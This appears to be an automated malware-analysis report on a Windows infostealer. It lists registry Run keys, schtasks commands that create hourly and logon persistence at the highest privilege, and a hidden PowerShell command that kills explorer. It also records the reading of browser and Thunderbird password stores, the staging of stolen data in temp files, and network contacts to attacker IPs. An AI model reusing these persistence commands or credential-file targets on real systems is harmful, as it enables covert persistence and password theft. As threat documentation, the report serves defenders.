Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'MaxLoonaFest116' = '%LOCALAPPDATA%\MaxLoonaFest116\MaxLoonaFest116.exe'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'LegalHelper116' = '%LOCALAPPDATA%\LegalHelper116\LegalHelper116.exe'
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\fanbooster116.lnk
- <SYSTEM32>\tasks\officetrackernmp116 hr
- <SYSTEM32>\tasks\officetrackernmp116 lg
- %APPDATA%\microsoft\windows\start menu\programs\startup\operaconnect116.lnk
- <SYSTEM32>\tasks\ieupdater116 hr
- <SYSTEM32>\tasks\ieupdater116 lg
Malicious functions
Executes the following (exploit)
- '%WINDIR%\explorer.exe' "\\89.23.98.22\LN\"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Stop-Process -Name explorer
Injects code into
the following user processes:
- ieupdater116.exe
Terminates or attempts to terminate
the following system processes:
- %WINDIR%\explorer.exe
Reads files which store third party applications passwords
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %APPDATA%\mozilla\firefox\profiles.ini
- %APPDATA%\mozilla\firefox\profiles\yfwt7ezn.default-release-1\signons.sqlite
- %APPDATA%\mozilla\firefox\profiles\bcjnbgva.default\signons.sqlite
- %APPDATA%\mozilla\firefox\profiles\0j9e9tku.default-release\signons.sqlite
- %APPDATA%\thunderbird\profiles.ini
- %APPDATA%\thunderbird\profiles\49zr3fqa.default\signons.sqlite
- %APPDATA%\thunderbird\profiles\npsdfqy3.default-release\signons.sqlite
Modifies file system
Creates the following files
- unc\89.23.98.22\pipe\srvsvc
- %TEMP%\posterboxfcmd72urc_7so\jx0oqi4nztiqplaces.sqlite
- %TEMP%\posterboxfcmd72urc_7so\suorww4zcubjformhistory.sqlite
- %TEMP%\posterboxfcmd72urc_7so\l6w3nvxsgpmdplaces.sqlite
- %TEMP%\posterboxfcmd72urc_7so\2jqjv37ij0lzcookies.sqlite
- %TEMP%\posterboxfcmd72urc_7so\pse1jchbit9aplaces.sqlite
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %TEMP%\posterboxfcmd72urc_7so\3b6n2xdh3cywweb data
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
- %TEMP%\granduiafcmd72urc_7so\passwords.txt
- %TEMP%\granduiafcmd72urc_7so\information.txt
- %TEMP%\granduiafcmd72urc_7so\screenshot.png
- %TEMP%\ugq7oqxh0tph2z_opmt1a6tpwbsyvta2.zip
- %LOCALAPPDATA%\legalhelper116\legalhelper116.exe
- %TEMP%\posterboxfcmd72urc_7so\kvhrxj77cmugplaces.sqlite
- %TEMP%\posterboxfcmd72urc_7so\qdx9itdlycrbcookies.sqlite
- %TEMP%\posterboxfcmd72urc_7so\iwpfiaxutjtscookies.sqlite
- %TEMP%\posterboxfcmd72urc_7so\oopemfmu_xsjplaces.sqlite
- %TEMP%\posterboxfcmd72urc_7so\5lop_s5wm5erplaces.sqlite
- %TEMP%\posterboxfcmd72urc_7so\3b6n2xdh3cywformhistory.sqlite
- %TEMP%\posterboxfcmd72urc_7so\02zdbxl47cvzformhistory.sqlite
- %TEMP%\posterboxfcmd72urc_7so\iwpfiaxutjtshistory
- %TEMP%\posterboxfcmd72urc_7so\5lop_s5wm5ercookies
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %TEMP%\posterboxfcmd72urc_7so\02zdbxl47cvzhistory
- %TEMP%\posterboxfcmd72urc_7so\d87fzn3r3jfeweb data
- %TEMP%\posterboxfcmd72urc_7so\ei8dramayu9klogin data
- %TEMP%\rise116m9asphalt.tmp
- %ALLUSERSPROFILE%\officetrackernmp116\officetrackernmp116.exe
- %TEMP%\fanbooster116\fanbooster116.exe
- %LOCALAPPDATA%\maxloonafest116\maxloonafest116.exe
- %TEMP%\operaconnect116\operaconnect116.exe
- %ALLUSERSPROFILE%\ieupdater116\ieupdater116.exe
Deletes the following files
- %TEMP%\posterboxfcmd72urc_7so\ei8dramayu9klogin data
- %TEMP%\granduiafcmd72urc_7so\information.txt
- %TEMP%\ugq7oqxh0tph2z_opmt1a6tpwbsyvta2.zip
- %TEMP%\posterboxfcmd72urc_7so\pse1jchbit9aplaces.sqlite
- %TEMP%\posterboxfcmd72urc_7so\2jqjv37ij0lzcookies.sqlite
- %TEMP%\posterboxfcmd72urc_7so\l6w3nvxsgpmdplaces.sqlite
- %TEMP%\posterboxfcmd72urc_7so\suorww4zcubjformhistory.sqlite
- %TEMP%\posterboxfcmd72urc_7so\jx0oqi4nztiqplaces.sqlite
- %TEMP%\posterboxfcmd72urc_7so\kvhrxj77cmugplaces.sqlite
- %TEMP%\posterboxfcmd72urc_7so\qdx9itdlycrbcookies.sqlite
- %TEMP%\posterboxfcmd72urc_7so\iwpfiaxutjtscookies.sqlite
- %TEMP%\posterboxfcmd72urc_7so\oopemfmu_xsjplaces.sqlite
- %TEMP%\posterboxfcmd72urc_7so\5lop_s5wm5erplaces.sqlite
- %TEMP%\posterboxfcmd72urc_7so\3b6n2xdh3cywformhistory.sqlite
- %TEMP%\posterboxfcmd72urc_7so\02zdbxl47cvzformhistory.sqlite
- %TEMP%\posterboxfcmd72urc_7so\iwpfiaxutjtshistory
- %TEMP%\posterboxfcmd72urc_7so\5lop_s5wm5ercookies
- %TEMP%\posterboxfcmd72urc_7so\3b6n2xdh3cywweb data
- %TEMP%\posterboxfcmd72urc_7so\02zdbxl47cvzhistory
- %TEMP%\posterboxfcmd72urc_7so\d87fzn3r3jfeweb data
- %TEMP%\granduiafcmd72urc_7so\passwords.txt
- %TEMP%\granduiafcmd72urc_7so\screenshot.png
Network activity
Connects to
- '89.#3.98.22':445
- '82.##5.223.71':50500
- 'ip##fo.io':443
- 'db##p.com':443
- 'ma##ind.com':80
TCP
HTTP GET requests
- http://www.ma##ind.com/geoip/v2.1/city/me
Other
- '89.#3.98.22':445
- '82.##5.223.71':50500
- 'ip##fo.io':443
- 'db##p.com':443
UDP
- DNS ASK ip##fo.io
- DNS ASK db##p.com
- DNS ASK ma##ind.com
Miscellaneous
Searches for the following windows
- ClassName: 'Progman' WindowName: ''
- ClassName: 'Proxy Desktop' WindowName: ''
- ClassName: 'SystemTray_Main' WindowName: ''
- ClassName: 'Media Center Tray Applet' WindowName: ''
- ClassName: '' WindowName: 'View Available Networks'
- ClassName: 'BluetoothNotificationAreaIconWindowClass' WindowName: 'BluetoothNotificationAreaIconWindowClass'
- ClassName: 'BluetoothNotificationAreaIconWindowClass' WindowName: ''
Creates and executes the following
- '%ALLUSERSPROFILE%\ieupdater116\ieupdater116.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Stop-Process -Name explorer' (with hidden window)
Executes the following
- '%WINDIR%\explorer.exe'
- '%WINDIR%\syswow64\schtasks.exe' /create /f /RU "user" /tr "%ALLUSERSPROFILE%\OfficeTrackerNMP116\OfficeTrackerNMP116.exe" /tn "OfficeTrackerNMP116 HR" /sc HOURLY /rl HIGHEST
- '%WINDIR%\syswow64\schtasks.exe' /create /f /RU "user" /tr "%ALLUSERSPROFILE%\OfficeTrackerNMP116\OfficeTrackerNMP116.exe" /tn "OfficeTrackerNMP116 LG" /sc ONLOGON /rl HIGHEST
- '%WINDIR%\syswow64\schtasks.exe' /create /f /RU "user" /tr "%ALLUSERSPROFILE%\IEUpdater116\IEUpdater116.exe" /tn "IEUpdater116 HR" /sc HOURLY /rl HIGHEST
- '%WINDIR%\syswow64\schtasks.exe' /create /f /RU "user" /tr "%ALLUSERSPROFILE%\IEUpdater116\IEUpdater116.exe" /tn "IEUpdater116 LG" /sc ONLOGON /rl HIGHEST
